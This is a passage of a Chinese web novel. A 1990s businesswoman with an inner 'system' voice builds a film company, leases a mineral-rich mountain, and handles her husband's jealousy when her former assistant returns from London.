消息传出,京城商界一片哗然。 众人这才看清,平日里温文尔雅、待人谦和的谢时昀,碰到时墨的事竟是这般杀伐果绝,半点情面不留。 “怪不得谢总下手这么狠,往人老婆身边安排人,换谁都不能忍!” “活该!做生意就做生意,搞这些下三滥的手段。” 这一切,时墨全程看在眼里。 小七在她脑子里实时播报谢时昀的一举一动,从查陈泽远的流水到封杀他,从收购对手的项目到让对方破产,事无巨细,连银行流水的数字都报得分毫不差。 时墨放下《大唐幻夜》的剧本,嘴角勾起一抹浅淡的笑意。 【宿主,谢时昀下手够狠的。】小七啧啧感叹,【以前怎么没看出来他是这么个人?】 时墨端起桌上的水杯喝了一口,淡淡道:【还好。不然我出手,他也好不到哪儿去。】 小七被这话噎了一下,半晌才说:【……你们两口子,真是一个比一个狠。不过宿主,你不觉得谢时昀很双标吗?在外面雷厉风行,杀伐果断,在你面前就成了乖狗狗。但凡你松口,我感觉他能天天老婆长老婆短的喊你。】 时墨没再理它,低头继续打磨剧本,但嘴角弯起的弧度,连她自己都没察觉。 小七又嘀咕了一句:【不过这种双标,还挺好嗑的。】 时墨手里的笔顿了一下:【你说什么?】 【没什么没什么!宿主您继续看剧本!】 墨昀影视的业务,在时墨的精准布局下,发展得如火如荼。 先是跟风拍摄的商业警匪片《都市猎人》,立项到上映仅用四个月,请来了香江知名动作导演指导打戏,主演全是公司自家签约的新人演员。 九十年代初,内地影院票价不过两三块,观众大多偏爱港台影片,可《都市猎人》凭借干脆利落的打戏、接地气的内地剧情、演员真挚的演技,硬生生打破市场偏见,首周末票房突破三百万,成了当年内地商业片的黑马。 紧接着,时墨投资的年代剧《胡同人家》登陆央视一套黄金档。这部剧聚焦京城胡同里的普通人家喜怒哀乐的年代剧,从七十年代末讲到九十年代初,跨度十几年。剧本打磨了大半年,演员全是公司自己签的老戏骨,拍摄时每个镜头都反复打磨。 播出当晚,收视率就破了百分之十五。第二周飙升到百分之二十五,成为当年收视率最高的电视剧之一。 大街小巷,家家户户的电视机都锁定在央视一套。胡傍晚吃完饭,街坊邻居搬着小马扎坐在院子里,边看剧边唠嗑,句句都是对这部剧的夸赞。 “《胡同人家》昨晚那集看了没?老太太分月饼那段,演得太真实了,跟咱们以前过日子一模一样!” “看了!那些老演员演技真绝,都是被国营剧团埋没的好苗子,也就时总有眼光,肯给他们机会!” “可不是嘛!国营剧团留不住人,人家时墨给的待遇好,创作自由,谁不愿意跟着她干!” 墨昀影视的口碑,就这样一部一部地积累起来了,彻底在内地影视圈站稳脚跟,口碑与人气双丰收。 而筹备已久的古建筑纪录片《华夏古建》,更是倾注了时墨全部心血。 她亲自担任总策划、总撰稿,带着摄制组跑遍大江南北。九十年代的拍摄条件极为艰苦,扛着笨重的老式摄像机,坐绿皮火车、挤长途中巴、走十几里山路,住宿全是乡镇简陋的招待所,吃的是粗茶淡饭。 为了拍好古塔的俯拍镜头,时墨跟着摄影师爬上四十多米高的古塔塔檐,秋风凛冽,吹得人站不稳脚,她死死抱住木柱,还不忘伸手稳住摄影师的脚架,拍完下来,摄影师双腿发软,她却拍了拍身上的灰尘,嘀咕了一句:“要是有无人机,就不用这么玩命了。” 摄影师一脸茫然:“时总,您说的是啥?” 时墨笑笑,没解释。 纪录片的每一集,时墨都亲自撰稿。她把自己对古建筑的理解和热爱,化成了一个个动人的故事。她写工匠的精神,写历史的沧桑,写文化的传承,也写普通人与古建筑之间的情感羁绊。 有一集拍的是山西的一座唐代木构古寺。时墨在撰稿的时候写了这样一段话:“千年前,不知名的工匠在这深山之中,用斧凿和锯子,将一棵棵树变成了梁、变成了柱、变成了佛。他们没有留下名字,但他们留下的东西,比名字更长久。” 谢时昀在北京的办公室里看到这段文稿的时候,抚摸着纸张,随后把那一页复印了一份,夹在自己本子里。 第一季《华夏古建》共八集,拍了一年多,后期制作又花了半年。当样片送到央视的时候,台领导看了一集,当场拍板:“直接上黄金档,不用试播,这么好的片子,必须让全国观众都看看!” 播出当晚,时墨难得没有出差,和谢时昀两人并肩坐在沙发上观看。电视里放着《华夏古建》的第一集,画面里夕阳下的古塔被镀上一层金光,旁白是时墨自己录的,她的声音不急不慢,带着一种让人安静下来的力量: “千年前,工匠们在这片土地上,用砖石和木头,筑起了他们对天地的理解。千年后,我们站在这里,隔着时光的尘埃,与他们对望。” 谢时昀已经好几个月没怎么见到时墨了。她不是在片场就是在路上,偶尔回北京也是开完会就走。此刻她坐在他身边,穿着家居的棉质睡衣,头发散下来披在肩上,身上带着刚洗完澡的皂香味。 他完全舍不得将视线从她身上移开。 但又不敢一直盯着看,怕被发现。于是只好看电视,看几秒,偷偷瞟她一眼,再看几秒,再偷偷瞟一眼。 时墨察觉了,却假装没看见,依旧盯着屏幕。只是在谢时昀又一次偷偷看过来的时候,她忽然开口:“好看吗?” 谢时昀被抓了个正着,耳根一下子红了,哑声道:“好、好看。” “我是说纪录片。” “……也好看。” 时墨终于转过头来,无奈又带着笑意地看着他:“专心看。” “嗯。”谢时昀乖乖转回去,眼睛盯着电视,余光还是忍不住往旁边飘。 《华夏古建》播出后,立刻轰动全国,不仅掀起了一股古建筑文化热,还被翻译成八种语言。 伊恩靠着好莱坞的资源,把片子推向海外欧洲、北美多家电视台。东方古建筑的恢弘与雅致,彻底惊艳了国外观众。 一封封观众来信从世界各地飞到墨昀影视的办公室。 “时总,这都是国外的观众写来的!您看看,这个是从法国寄来的,这个是从加拿大……” 时墨翻了翻那些信,大多数都在表达对华夏古建筑的惊叹和对纪录片的喜爱。有一封从意大利寄来的信,是一个建筑系的学生写的,他说他以前只在课本上见过华夏古建筑的图片,从来没有这么真切地感受过它们的魅力。他决定毕业后要来华夏,亲眼看看这些建筑。 时墨把那封信放下,对人事说:“把这个学生的联系方式记下来,等他来了,我们可以给他提供实习机会。” 人事愣了一下:“为什么?” “因为他有热情,有热情的人才能做好事。”时墨说,“而且他是学建筑的,我们需要懂建筑又懂影视的人。” 墨昀文化彻底打破了港台影视对内地市场的垄断,成为内地民营影视公司的标杆。 时墨定下的“内地与港台演员同等待遇”的规矩,也成了行业标准。以前内地演员在港台剧组里被区别对待的现象,因为墨昀文化的带头抵制,慢慢少了。那些曾经在内地剧组里只能演配角、拿低片酬的演员,现在有了更多的话语权和更好的待遇。 无数有实力的演员、编剧、导演,挤破头想加入墨昀文化。 没过多久,时墨再次带着摄制组,前往西南偏远山区取景。这里山高路远,连一条平整的公路都没有,当地百姓靠种地为生,日子过得极为清贫。 刚到取景地,小七的声音突然在她脑子里响起:【宿主!检测到西南山区有情况!您之前在西南取景的那片区域,西侧十公里处有一座荒山,地下蕴含大量稀有矿产!储量极高,价值无法估量!】 时墨脚步顿住,环视四周:【你说什么?】 【有稀有矿产!九十年代土地政策宽松,私人可以承包荒山进行开发。当地政府穷得叮当响,正愁招商引资带动经济呢。这可是千载难逢的机会!】 时墨眼睛一亮,当即找了个僻静处,拨通了谢时昀的号码。 电话响了两声就接了,传来谢时昀温柔的声音:“墨墨,到地方了?那边条件苦,吃住还习惯吗?” “我挺好的。”时墨没心思寒暄,直入主题,语气带着少见的急切,“谢时昀,你把手头不紧急的工作全部推后,立刻来西南找我,地址我等下发给你。” 谢时昀感受到时墨语气里的急切,着急道:“怎么了?出什么事了?” “没出事,是好事。”时墨压低了声音,虽然周围没人,但还是下意识地小心起来,“西南那边有座荒山,你尽快赶过来,务必把它承包下来。越快签合同越好。别问原因,照做就行。” 谢时昀没有半分迟疑,哪怕他连那座荒山长什么样都不知道,哪怕所有人都觉得这是无理取闹的决定,他也无条件相信时墨。 “好,我最晚后天到。你在那边照顾好自己,等我。” 挂了电话,时墨松了口气。 小七好奇道:【宿主,你不怕谢时昀觉得你疯了?花那么多钱去包一座荒山?】 时墨道:【他要是连这点信任都没有,就不配做我丈夫。】 小七被这话噎了一下,半天才嘀咕了一句:【……宿主,你这话说得,好像你已经把他当丈夫了。】 次日下午,谢时昀就风尘仆仆地赶到了西南山区。 老周一路高速驾驶,两人轮流开,到了地方,又开了三个小时,才到了时墨所在的县城。下车的时候天已经快黑了,他连口水都没喝,就让老周雇了当地的司机带他们去时墨说的那座荒山。 时墨已经在山脚下等着了。她穿着一件藏蓝色的冲锋衣,头发被山风吹得乱糟糟的,手里拿着一张手绘的简易地图,正在跟当地的村干部说话。 看到谢时昀从车上下来,她招了招手。 谢时昀快步走过去,上下打量了她一眼,确认她没事,才松了口气:“你怎么样?” “我没事,你看看这个。”时墨把地图递给他,指着远处的山头,“就是那座山。我问过了,这片地归村里管,可以承包。” 谢时昀顺着她手指的方向看过去。那是一座看起来很普通的荒山,光秃秃的,没什么植被,山体上裸露着灰白色的岩石。这种山在西南山区到处都是,不值钱,也没人要。 “你想承包这座山?”谢时昀问。 “对。” “用来做什么?” 时墨看着他,认真地说:“我现在不能告诉你。但你信我吗?” 谢时昀看着她的眼睛,伸手把她被风吹乱的头发别到耳后,没有丝毫犹豫, “信。” 当地的村支书是个五十多岁的庄稼汉,听说有人要承包那座荒山,高兴得嘴都合不拢。 “那座山荒了几十年了,种啥啥不长,放牛都不上去。”村支书一边给两人倒茶,一边笑着说,“你们城里人咋想的,花钱包一座荒山?” 时墨接过茶杯,没有解释,只是说:“我们包下来,自然有用处。合同的事,您看什么时候能签?” 村支书巴不得有人来投资,当即就拍了板。第二天上午,双方就在乡政府签了承包合同。租金低得吓人,一年才几千块,承包期三十年,到期可以续约,手续全程绿色通道,一天就全部办妥。 村支书握着谢时昀的手,激动得眼眶都红了:“谢总,您这钱来得太及时了。我们村穷了这么多年,连条像样的路都没有,孩子们上学要走十几里山路。您这承包费,够我们修一条路了。” 谢时昀握着老人的手,心里五味杂陈。他回头看了时墨一眼,时墨正站在村委会门口,望着远处的山脉。 消息传回京 城,瞬间炸开了锅。 商界众人全都觉得谢时昀疯了,放着蒸蒸日上的地产、影视生意不做,跑去穷山沟承包荒山,纯纯是把钱往水里扔。 “听说谢时昀跑到西南穷山沟里包了一座荒山!” “真的假的?花多少钱?” “承包费倒是不多,一年几千块。但开发要投钱啊!勘探、开采、修路、建厂,少说也得几百万!这是把钱往水里扔啊!” “谢时昀疯了吧?放着好好的影视、地产不做,跑去挖山?” “肯定是时墨的主意。她那个人,想一出是一出,之前做房地产、做影视,大家都说她不行,结果人家赚钱了。这次怕是飘了,以为自己做什么都能成。” “等着看吧,这回怕是要栽跟头了。” 就连不少一直看好时墨的老合作伙伴,都特意打电话劝说:“时总,做生意要稳,别折腾荒山这种没影的事,别把之前赚的家底都赔进去。” 面对外界的嘲讽与劝说,两人全然不在意。谢时昀立马联系有正规资质的勘探、开采团队,带着设备进驻荒山,紧锣密鼓地动工开发。 不过半个月,荒山深处就挖出了稀有金属矿,储量之高、品质之好,瞬间轰动全国! 谢时昀当即成立正规矿业公司,优先招聘当地百姓,一下子解决了上千人的就业问题,家家户户有了稳定收入,再也不用靠天吃饭。 时墨也同步安排时记商超入驻当地,建门店、搭供应链,柴米油盐一应俱全,彻底带动当地经济,形成了就业、消费、发展的内循环,曾经的贫困山区,短短半年就改头换面。 之前那些嘲笑谢时昀、质疑时墨的人,全都哑口无言。 “这……这也太神了吧?时墨是怎么知道那座山里有矿的?” “谁知道呢?人家有点金手,咱没有。” “我当初还劝她别投,现在想想,我才是那个傻子。” 时墨“点金手”的名声,彻底传遍全国商界。 各路商人、企业家挤破头都想和时墨合作。送礼、攀关系、求合作,套近乎的人络绎不绝。公司前台的电话被打爆了,每天光是接预约拜访的来电就接到手软。 时墨不胜其烦,把大部分应酬都推给了谢时昀和伊恩。但有些场合,推不掉。 这天,时墨参加一个行业内的聚会。来的都是京城的文化界、商界人士,觥筹交错间,聊的都是项目合作和行业趋势。 时墨穿着一件墨绿色的丝绒旗袍,长发盘起,戴着一串复古祖母绿翡翠项链,举手投足间尽显从容大气,端着酒杯站在人群中,从容应对各方寒暄,整个人散发着一种说不出的魅力。 一位六十多岁的建材老板端着酒杯凑过来,笑起来很和善:“时总,我小儿子刚从英国学的摄影,这不才留学回来,一心想跟着您学习,能不能通融一下,去您公司实习?不要工资,全听您安排。” 时墨礼貌浅笑,语气疏离有度:“陈总,公司有正规招聘流程,只要令郎资质达标,我们自然会录用。” 旁边做进出口贸易的王总见状,也连忙凑上来,语气带着几分直白的试探:“时总,我听说你和谢总签了婚前协议,我家小子二十五,和你年纪相当,能力也不差,你不妨考虑考虑?我们家也能签一模一样的协议,全力支持你的事业!” 话音落下,周围的喧闹都静了几分,王总还自顾自地说:“谢总比你大九岁,男人老得快,你们哪有共同话题?你这么年轻有为,不该被他束缚住!” 时墨脸上的笑意淡去,语气冷了下来,:“王总,我跟时昀感情很好,今日是商界聚会,只谈生意,不谈私事,若是您执意说这些,那我便先失陪了。” 说完,转身就走,没有半分拖泥带水,留下一群人面面相觑。 有人好心提醒道:“老王啊,你最近还是小心点。谢总那人小心眼,这话传到他耳朵里,小心他给你使绊子!” 王总还不服气:“我就实话实说,谢时昀比她大九岁,本来就不般配!” “人家夫妻俩的事,轮得到你插嘴?赶紧闭嘴吧!” 时墨走出宴会厅,站在走廊里,深吸一口新鲜空气。 这些话,时墨只当是耳旁风,听过就忘了。但架不住有人把这些话传到了谢时昀耳朵里。 次日上午,谢时昀正在召开地产项目会议,发小陆川打来电话,语气里带着几分幸灾乐祸:“时昀,昨天时墨参加的行业聚会上,有人当众挖你墙角,在时墨面前说你老,配不上时墨,要把自家儿子塞给时墨呢,还说你俩没共同语言!” “咔嚓”一声,谢时昀手里的钢笔直接被捏断,墨水溅在文件上,他脸色瞬间铁青,周身的气压低得吓人。 会议室里的几个部门经理面面相觑,不知道老板怎么了。空气仿佛凝固了一般,所有人都屏住了呼吸。 “今天的会先到这,方案下周再议。”谢时昀面无表情地站起身,拿起椅背上的外套就走了出去。他的步子很快,皮鞋敲在水磨石地面上,发出急促而有力的声响。 他开车直奔影视公司。一路上脑子里反复回荡着那句话——“比时墨大九岁,老了,没共同语言”。 他老吗? 他今年三十五,正式风华正茂的年龄,他不觉得自己老。可时墨确实也正是青春正盛之时。 谢时昀握着方向盘的手不由得收紧。 路过街边一家花店,他停下车走进店里,花店老板正在给一束玫瑰剪枝,看到客人进来,热情地招呼:“先生,买花吗?送女朋友还是送太太?” “送太太。”谢时昀说这话的时候,嘴角不自觉地弯了一下。 “那您看这束红玫瑰怎么样?九十九朵,长长久久,寓意好。” 谢时昀看了看那束红玫瑰,太俗了。他和时墨之间,从来不是那种浓烈的、张扬的感情。 “白色的百合呢?”他问。 “百合也不错,百年好合。”老板把百合捧过来。 太素净了。时墨喜欢有颜色的东西,她的书桌上永远有一盆开得热闹的蟹爪兰,衣柜里挂着的那件她常穿的衣服也都是鲜亮颜色。 “粉色的郁金香呢?” 老板又给他换了一束粉色的郁金香。谢时昀看着那束花,总觉得差了点什么。 老板被他换来换去弄得有点不耐烦了,但看这客人衣着体面、气质不凡,又不好发作,只能耐着性子问:“先生,您到底想要什么样的?您跟我说个大概,我给您配。” 谢时昀扫了一眼满屋子的花,说:“最好的,每样来一枝。” 老板愣住了,然后笑了:“先生这么用心,您太太一定喜欢。” 谢时昀嘴角微微上扬,眼底满是温柔:“包材用最好的。” 老板一听,立刻来劲了。他把店里最贵、最新鲜的花各挑了一枝,用最贵的包材包好。 “这一束,保您夫人喜欢。”老板拍着胸脯说。 谢时昀付了钱,捧着那束直径超过半米的花走出花店,引来路人纷纷侧目。 当他捧着那束夸张的花走进公司大门的时候,前台的小姑娘直接看傻了,嘴巴张成了O型。 走廊里的员工自动让出一条路,窃窃私语在身后炸开:“谢总这是怎么了?中彩票了?” “人家还需要中彩票?人家就是彩票本票。” “那这花也太大束了吧?多沉啊。” “谢总劲儿大吧。” 谢时昀三步并作两步走进时墨的办公室,时墨正在跟伊恩讨论新项目的剧本,两人看到谢时昀捧着一大束花进来都愣住了。 伊恩看了看花,又在谢时昀和时墨之间反复看两眼,识趣地站起来:“你们聊,我去楼下喝杯咖啡。”说完飞快退出办公室,还不忘带上门。 谢时昀把花放在时墨桌上,那束花太大,差点把桌上的文件挤掉。他伸手把文件拢了拢,然后凑到时墨身边,蹲了下来。 他把双手轻轻搭在时墨的膝盖上,脑袋耷拉着,平日里的沉稳内敛全然不见,活像一只被人欺负、找不到归属感的大型犬,眼底满是藏不住的委屈与不安。 时墨看他这副模样,忍不住问:“这是怎么了?急匆匆过来,还带了花。” 谢时昀缓缓抬起头,瞳孔里清晰地倒映着她的脸,声音沙哑又忐忑:“墨墨,我是不是太老了?” 时墨愣了一下,以为自己听错了:“什么?” “昨天的事我听说了,他们说我比你大九岁,老了,和你没有共同话题。” 他的喉结上下滚动了一下,垂下眼,睫毛微微颤着:“我知道我不够好。” 时墨张了张嘴,想说什么,谢时昀却没给她机会,继续说下去,声音越来越低。 “我知道我年纪比你大,不够年轻。”他抬起头,看着时墨,眼眶微微泛红:“可我真的很珍惜你,很爱你,墨墨,你别不要我,好不好?。” 时墨看着他平日里总是温和坚定的眼神,此刻满是卑微与不安,生怕从她嘴里听到半句否定的话。 她能感觉到他搭在她膝盖上的手在微微发抖。 时墨伸出手,轻轻捏了捏他的他的脸颊:“谢时昀,你故意的?” “是。”谢时昀没有否认,微微起身,双手撑在椅子扶手上,将她轻轻圈在怀里,视线与她平齐,语气虔诚又认真,“只要你能多心疼我一点。” 时墨看着他眼底的深情与不安,心头暖意涌动:“谢时昀,你听着。我这辈子做出的每一个选择,都是经过深思熟虑的。包括嫁给你这件事。” 谢时昀的眼睛瞬间亮了起来,一把抓住她的手,紧紧握在掌心,语气激动:“墨墨,你说的是真的?” 时墨抽回手,白了他一眼:“假的。” 得了时墨这句定心丸,谢时昀彻底放下了所有不安。 从那天开始,谢时昀像换了个人似的。 从前低调内敛、从不在公开场合谈私事的他,彻底变成了“炫妻狂魔”。 他频频现身各大拍卖会,举牌拍下珍稀的古董、珠宝,件件都是珍品,全都细心包装好,送到时墨手里。 但凡接受纸质媒体、电视采访,被问及工作,他三句话不离时墨:“我太太眼光比我好,我所有决定都支持她”“最近在陪我太太跑纪录片拍摄,她做的事很有意义”;出门同行时,他全程紧紧牵着时墨的手,主动拎包、挡风、打理一切琐事,细心呵护的模样,全京城有目共睹。 有记者在电视采访里追问:“谢总,时总事业这么强,会不会觉得自己被盖过风头?” 谢时昀握着时墨的手,一脸坦然又骄傲:“我太太优秀,我只会觉得自豪,我愿意做她最坚实的后盾,永远支持她。” 这番话,通过电视屏幕传遍京城,再也没人敢乱嚼舌根、挑拨离间,那些想攀附的人,也全都识趣地偃旗息鼓。 毕竟上一个这么干的,已经破产消失了。 就在外界传言两人感情愈发深厚的时候,时墨开完会回到办公室,桌上的电话突然响了。 她接起来,电话那头传来一个熟悉又陌生的声音,比两年前沉稳了许多,带着一种经过时间沉淀后的从容。 “时墨,是我。我回来了。” 时墨握着听筒的手微微一顿,这个声音穿越了两年的时光和跨越山海的距离,忽然落在她耳边,让她有一瞬间的恍惚。 “刘巍?” “是我,我出国读书两年,回来了。”刘巍的声音温和,带着几分期待,“我现在在墨昀文化大厅,方便上来见你一面吗?” 时墨回过神,笑了笑:“稍等,我跟前台说一声,让她放你上来。” 挂了电话,没过几分钟,办公室的门被轻轻敲响。 “进来。” 门被推开了。 一个穿着合身英式西装、眉眼俊朗的年轻人站在门口,手里拎着一个简约的行李箱,显然是刚下飞机就赶了过来。他的轮廓线条更分明了,褪去了学生时代的青涩,整个人多了一种沉稳内敛的气质,眼中的自卑已然消失。 他的目光直直落在时墨身上,跨越两年时光,带着久别重逢的喜悦、执念,还有一丝不易察觉的占有欲,缓缓迈步走进来,轻声开口: “时墨,我回来了。” 办公室的门再次被推开,谢时昀拎着刚买好的、时墨爱吃的桂花糕,笑容满面地走进来:“墨墨……”【..top】 第102章【VIP】 第102章 他看到屋内人, 刚要说出的话卡在了喉咙里。 空气仿佛在这一刻凝固了。 谢时昀的目光落在刘巍身上,从他熨帖的英式西装,到他手里崭新的行李箱, 最后定格在他看向时墨的眼神里。 那眼神里有久别重逢的喜悦, 有岁月沉淀后的沉稳, 也有暗藏着跨越两年的执念。 这眼神谢时昀太熟悉了, 因为他自己曾经就用这种眼神看过时墨无数次。 他怎么回来了? 刘巍听到开门声,转过头来。两个人的目光在空气中撞上了。 谢时昀的心脏猛地一沉,危机感瞬间席卷全身。但他面上半点不显,只是缓缓关上门,将还带着余温的桂花糕轻轻放在桌上, 动作自然地走到时墨身后, 伸手搭在她的椅背上,指尖不经意地蹭过她的发梢, 以一种绝对主人的姿态, 看向刘巍。 “这位是?”他的声音温和道。 “这是刘巍,我之前的助理, 怎么你忘了?”时墨抬头看他, 眼里带着点疑惑。 “瞧我这记性。”谢时昀露出个恍然大悟的表情, “最近事太多, 忙糊涂了。刘巍变化真大, 差点没认出来。” 刘巍的目光落在谢时昀搭在时墨椅背的手上,指尖微微收紧,但脸上依旧挂着得体的笑容, 主动伸出手:“谢总,好久不见。恭喜你们新婚,在英国得知消息后, 一直没来得及道贺。” “谢谢。”谢时昀握住他的手,力道不轻不重,眼神平静地与他对视道,“你一路辛苦了。刚下飞机就过来,也没提前打个电话,我们好派车去机场接你。” “不用麻烦,我自己打车过来就行,也想给时墨一个惊喜。”刘巍收回手,目光重新落回时墨身上,语气里带着熟稔的暖意,“两年没见,你一点都没变。” “哪有,我现在正准备躺平呢。”时墨笑着摆摆手,指了指对面的沙发,“坐,别站着说话。时昀,给刘巍倒杯茶。” “好。”谢时昀应着,转身去拿茶杯。他背对着两人的时候,脸上的笑容瞬间淡去,眼底闪过一丝暗沉。 他给刘巍倒了杯绿茶,放在他面前,自己则坐在时墨身边的单人沙发上,拆开桂花糕的油纸包,把第一块最软糯、沾着最多桂花的,放在白瓷碟里推到时墨面前:“刚出锅的,还热着,你尝尝。” “谢谢。”时墨拿起桂花糕咬了一口,眼睛弯成了月牙,“还是这家的好吃,甜而不腻。” 刘巍看着两人自然的互动,端起茶杯喝了一口,掩去眼底的酸涩。他放下茶杯,笑着开口:“谢总对时墨真好。” “应该的。”谢时昀岔开话题,“对了,你在英国学的什么专业?” “伦敦政经的产业经济学,辅修了影视制片。”刘巍的微笑道,“上个月刚答辩完,学位证要年底才寄到。” “伦敦政经,厉害。”谢时昀点点头,眼底却没什么笑意,“那怎么没留在英国?巴克莱、摩根这些投行,应该都抢着要你吧。” “英国再好,也不是家。”刘巍看了时墨一眼,语气认真,“而且我答应过时墨,学成了就回来帮她。做人不能言而无信。” 这话像一根细针,轻轻扎在谢时昀心上。 他端起茶杯喝了一口,温热的茶水却没暖透心底。 “刘巍回来的正好,咱们公司缺这方面的人才。”时墨抽出纸巾擦了擦手。 “我就知道。”刘巍笑了,眼里的光更亮了,“时墨你放心,我一定好好干,绝不会让你失望。” 谢时昀看着刘巍状似不经意地开口:“刘巍,你在英国这两年,谈对象了没?伦敦的姑娘应该挺热情的。” 时墨也跟着点头:“是啊刘巍,你也不小了,处了吗?” 刘巍的指尖摩挲着杯壁,脸上露出一抹恰到好处的无奈:“英国那边学业重,还要实习,哪有时间谈恋爱。每天不是泡图书馆就是跑项目,忙得脚不沾地。” “实习?在哪家公司?”时墨好奇道。 “巴克莱资本的TMT投资部。”刘巍说得轻描淡写,但谢时昀知道其中的分量。巴克莱的核心投资部门,每年在全球只招不到十个人,能进去的都是顶尖人才。 “那可是好地方,多少人挤破头都进不去。”谢时昀看着他,“就这么放弃了,不可惜吗?” “没什么可惜的。”刘巍迎上他的目光,语气坚定道,“在英国赚再多钱,也不如回来帮时墨有意义。” 空气又静滞了。 时墨没听出两人话里的机锋,拍了拍手上的碎屑:“不说这些了。刘巍,你现在有地方住吗?” “还没找,先在酒店凑合一晚。” “别住酒店了,我给你安排。”时墨说着就拿起桌上的电话,“喂,王姐,公司在北苑那套精装两居室空着吧?对,就是带露台的那套。你让人收拾一下,把钥匙送到我办公室。” 挂了电话,她又对刘巍说:“那套房子离公司近,走路十分钟就到。家具家电都是新的,你直接拎包入住就行。车你先用公司的,回头我让行政给你配辆新的。” “时墨,这太破费了……” “破费什么。”时墨摆摆手,一脸理所当然,“你放弃国外的高薪回来帮我,我总不能让你住酒店挤公交。这两天你先好好休息,倒倒时差,不急着上班。” “不用休息,我身体好得很,明天就能上班。”刘巍立刻说,眼神里满是热切,“我想尽快熟悉公司业务,帮你分担。” “不用休息,我身体好得很,明天就能上班。”刘巍立刻说,眼神里满是热切。 “急什么。”谢时昀手里的茶杯转了半圈,不紧不慢地放下了:“倒时差不是小事,休息不好容易出错。工作的事不差这两天,等你养足精神再说。” 时墨点头附和:“对,身体最重要。休息好了才能事半功倍。” 刘巍只好点头:“好,都听你安排。” “晚上一起吃个饭吧,给你接风。”谢时昀突然开口安排着,“墨墨,咱们上次去的那个淮扬菜馆不错,环境安静,菜也清淡,适合刘巍刚回来吃。” “行,你定。”时墨点了点头,又看向刘巍,“你没忌口的吧?有什么想吃的直说。” “我不挑食,什么都吃。”刘巍笑了笑,目光不经意地扫过谢时昀,“那就麻烦谢总了。” “不客气。”谢时昀伸出手,“我送你下去吧,顺便让司机记一下你住的酒店地址,晚上七点去接你。” “好。” 两人并肩走出办公室。在公司大门口等车的时候,秋风卷起地上的落叶,打着旋儿飘过。 “谢总,”刘巍忽然开口道,“这两年,听说你做了许多我之前的工作,辛苦你了。” 谢时昀侧头看了他一眼,嘴角勾起一抹浅淡的笑意:“我们是夫妻,照顾她是应该的。以前辛苦你了,以后有我,就不劳你费心了。” 刘巍听闻,咬住嘴唇一声不吭。 车来了。刘巍拉开车门,弯腰坐进去之前,忽然又抬头看着谢时昀,:“谢总,我这次回来,你可以好好歇歇了,以后,我会和你一起照顾时墨。” 说完,关上了车门。 谢时昀站在原地,看着黑色轿车汇入车流,脸上的笑容一点点消失。 一起照顾? 他不需要。 时墨是他一个人的。 * 晚上七点,淮扬菜馆的包间里。 暖黄的灯光透过宣纸窗户洒进来,落在红木桌椅上,墙上挂着的扬州瘦西湖刺绣,在灯光下显得格外雅致。 时墨坐在主位,谢时昀在她左边,刘巍在她右边。桌上摆着清炖蟹粉狮子头、大煮干丝、文思豆腐,都是清淡鲜美的淮扬菜。 席间三个人喝着温热的黄酒暖身,聊得倒也算热闹。 “尝尝这个狮子头,他们家的招牌。”时墨夹了一个放在刘巍碗里,“我记得你以前爱吃这个。” “谢谢。”刘巍拿起筷子,咬了一口,眼睛亮了,“还是以前的味道。在英国的时候,我最想念的就是这口,那边的中餐做得一点都不正宗。” “那你以后就常来吃。”时墨笑着说,又夹了一块干丝放在自己碗里。 谢时昀没说话,只是默默地给时墨挑鱼刺。她爱吃鱼,但怕刺,每次吃鱼他都会挑干净。 他把挑好刺的鱼肉放在时墨碗里,又把菜里的姜片、葱段都挑出来,放在自己碟子里。 这些动作,他做了无数次,熟练得像本能。 刘巍看着这一幕,握着筷子的手紧了紧。他也记得时墨不爱吃姜,记得她吃鱼怕刺。可这两年,这些事,都有人做了。 他压下心里的酸涩,笑着开口:“说起来,我在英国的时候,还遇到过一件有意思的事。有一次去唐人街吃饭,看到一家餐馆挂着‘北京烤鸭’的牌子,进去一尝,居然是甜的,还放了菠萝,差点没把我吃吐。” “还有这种事?”时墨咦了一声,完全无法想象那只鸭子的味道,“外国人做中餐,总是奇奇怪怪的。” “可不是嘛。”刘巍继续讲着在英国的见闻,从泰晤士河的涨潮,到伦敦地铁的晚点,再到学校里的奇葩教授,语气从容不迫,偶尔还能抛出一两个冷幽默,逗得时墨笑个不停。 谢时昀安静地坐在旁边,给时墨剥虾、挑鱼刺,偶尔插一两句话,看似温和,实则目光一直落在刘巍身上,观察着他的一举一动。 “伦敦的雾是不是跟小说里写的一样?”时墨夹了一筷子干丝,饶有兴致地问。 “那都是老黄历了。”刘巍笑着摇头,“现在的伦敦天气确实一般,但没有书上写的那么夸张。倒是有一回,泰晤士河涨潮,淹了半个地铁站,我从学校回住处,蹚着水走了四十分钟,皮鞋全泡废了。” “你以前可不这样。”时墨忍不住笑了,“泡废了一双鞋还能当笑话讲?以前你要是碰着这种事,得闷闷不乐好几天。” 刘巍被她这话说得一愣,随即笑容更深了些:“在英国没人惯着我,什么事都得自己扛,扛着扛着就扛出经验了。” 时墨听他这么说,心里感慨了一下。 “对了,你在巴克莱实习,主要做什么方向?”谢时昀剥好一只虾,放在时墨碗里,随口问道。 “主要是TMT领域的早期投资,还有跨境并购。”刘巍放下筷子,认真地说,“通信、媒体、科技这几个赛道。英国的创业环境比国内成熟,但我看国内的势头更好,未来十年会是爆发期。” “你回来是对的。”时墨点头,“国内现在遍地都是机会。你在那边学的东西,都能用得上。” “我也是这么想的。”刘巍看了她一眼,眼底有一丝暖意,“而且你这边,我也能帮上忙。” 谢时昀端起黄酒杯,轻轻晃了晃,琥珀色的酒液在杯壁上挂出浅浅的泪痕,“那正好,墨墨现在手头的事越来越多,影视公司、地产、矿业,还有文物局的项目,我一个人劈成八瓣都不够用。你来了,我们能轻松不少。” “我也就是个打下手的。”刘巍举起酒杯,冲谢时昀微微示意,“还得谢总多指点。” “客气了。”谢时昀跟他碰了一下杯,响起一声脆响。 两人你一言我一语,看似客气,实则字字句句都在试探,都在宣示自己在时墨生命里的重要性。 空气里弥漫着看不见的硝烟,只有时墨毫无察觉,端起汤喝了一口,还时不时点评两句:“这个汤不腻还香,你俩都尝尝。” 吃到一半,时墨忽然放下筷子,看着刘巍说:“对了刘巍,你在国外的工资大概多少?” 刘巍放下筷子:“大概十万英镑一年。” “那不少啊。”时墨点点头,“这样,底薪按之前你在英国那边投资公司的水平翻倍,项目提成另算。年终奖看公司业绩,房子和车刚才说了,都配给你,房子直接过户到你名下。” 这话一出,包间里瞬间安静了。 刘巍猛地抬起头,眼里满是震惊“时墨,这太多了!我刚回来,还没做出什么成绩,不能拿这么多。” 